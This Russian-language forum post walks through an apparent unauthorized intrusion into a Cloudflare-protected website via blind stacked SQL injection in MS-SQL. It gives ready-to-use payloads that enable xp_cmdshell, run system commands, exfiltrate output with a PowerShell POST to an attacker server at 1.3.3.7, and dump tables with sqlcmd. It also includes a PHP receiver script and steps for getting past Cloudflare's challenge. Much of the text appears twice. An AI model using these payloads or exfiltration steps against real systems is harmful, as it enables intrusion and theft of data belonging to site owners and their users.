Хочу поделиться решением одного интересного кейса который мне довелось решать. Вебсайт с уязвимым параметром, как показала разведка слепой,стакед инжект в MS-SQL. Сервер за cloudflare. Подружил я sqlmap c скулей но выводить посимвольно очень долго, а в базе пару терабайт данных, несколько тысячь таблиц и черт ногу сломит. Выводить такое посимвольно нужно быть еще тем наркоманом. К счастью пользователь оказался администратором БД.
Сначала включаем исполнение команд (Burp + hackvertor):
Исполняем команду и записываем в файл на сервере
Отправляем файл себе на сервер:
Принимать можно было бы неткатом, но тогда нужно обрывать соединение иначе наш запрос ожидает ответ и это создает неудобства, поэтому просто пишем мини приемщик на PHP:
Тем временем запускаем в терминале линукса: watch cat data.txt и получаем контент который обновляется каждые 2 секунды, то есть нам не нужно каждый раз открывать data.txt когда мы отсылаем новые данные постом. hackvertor мы используем просто для удобства, он помогает обходить cloudflare (самую простую защиту) но прежде чем клауд начнет проспускать первый запрос с RECONFIGURE мы получаем 403, жмем (в бурпе) "show response in browser" и вручную проходим челенж от клауда, потом желательно пройтись по сайту по нескольким ссылкам до тех пор пока не увидите в прокси бурпа что в заголовках появилась кука cf_clearance , после этого мы можем отсылать URL-кодированные запросы с сомнительными данными и не получать 403 ответы.
Банально, просто, но работает) p.s. я не поднимал бэкконект и не закачивал никакой софт на сервер потому как там стоял клауд АВ который блочит абсолютно все. Обход АВ и Amsi уже другая история.
+bonus request:
Так как у нас nt service\mssqlserver я обращался к БД так:
-E - Использует Windows-аутентификацию
- Q - Выполняет указанные SQL-запросы.
"select ""asd"" FROM TEMPLATEPRODLIVE;SELECT TOP 1 * from TEMPLATEPRODLIVE;" - двойные кавычки внутри двойных кавычек экранируются путем дублирования их.
Сначала включаем исполнение команд (Burp + hackvertor):
Код:
id=999999<@urlencode_all>;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;<@/urlencode_all>--
Исполняем команду и записываем в файл на сервере
Код:
id=999999<@urlencode_all>;DECLARE @qq VARCHAR(8000) = 'whoami /all > \users\public\iwr000.cache';EXEC master.dbo.xp_cmdshell @qq;<@/urlencode_all>--
Отправляем файл себе на сервер:
Код:
id=999999<@urlencode_all>;DECLARE @qq VARCHAR(8000) = 'powershell -c "iwr -Uri http://1.3.3.7/data.php -Method Post -Body @{data = (Get-Content \users\public\iwr000.cache -Raw)}"';EXEC master.dbo.xp_cmdshell @qq;<@/urlencode_all>--
Принимать можно было бы неткатом, но тогда нужно обрывать соединение иначе наш запрос ожидает ответ и это создает неудобства, поэтому просто пишем мини приемщик на PHP:
PHP:
<?php
if(isset($_POST['data'])) {
file_put_contents('data.txt', $_POST['data']);
}
Тем временем запускаем в терминале линукса: watch cat data.txt и получаем контент который обновляется каждые 2 секунды, то есть нам не нужно каждый раз открывать data.txt когда мы отсылаем новые данные постом. hackvertor мы используем просто для удобства, он помогает обходить cloudflare (самую простую защиту) но прежде чем клауд начнет проспускать первый запрос с RECONFIGURE мы получаем 403, жмем (в бурпе) "show response in browser" и вручную проходим челенж от клауда, потом желательно пройтись по сайту по нескольким ссылкам до тех пор пока не увидите в прокси бурпа что в заголовках появилась кука cf_clearance , после этого мы можем отсылать URL-кодированные запросы с сомнительными данными и не получать 403 ответы.
Банально, просто, но работает) p.s. я не поднимал бэкконект и не закачивал никакой софт на сервер потому как там стоял клауд АВ который блочит абсолютно все. Обход АВ и Amsi уже другая история.
+bonus request:
Так как у нас nt service\mssqlserver я обращался к БД так:
Код:
id=999999<@urlencode_all>;DECLARE @qq VARCHAR(8000) = 'sqlcmd -S localhost -d database -E -Q "select ""asd"" FROM TEMPLATEPRODLIVE;SELECT TOP 1 * from TEMPLATEPRODLIVE;" > \users\public\iwr000.cache';EXEC master.dbo.xp_cmdshell @qq;<@/urlencode_all>--
-E - Использует Windows-аутентификацию
- Q - Выполняет указанные SQL-запросы.
"select ""asd"" FROM TEMPLATEPRODLIVE;SELECT TOP 1 * from TEMPLATEPRODLIVE;" - двойные кавычки внутри двойных кавычек экранируются путем дублирования их.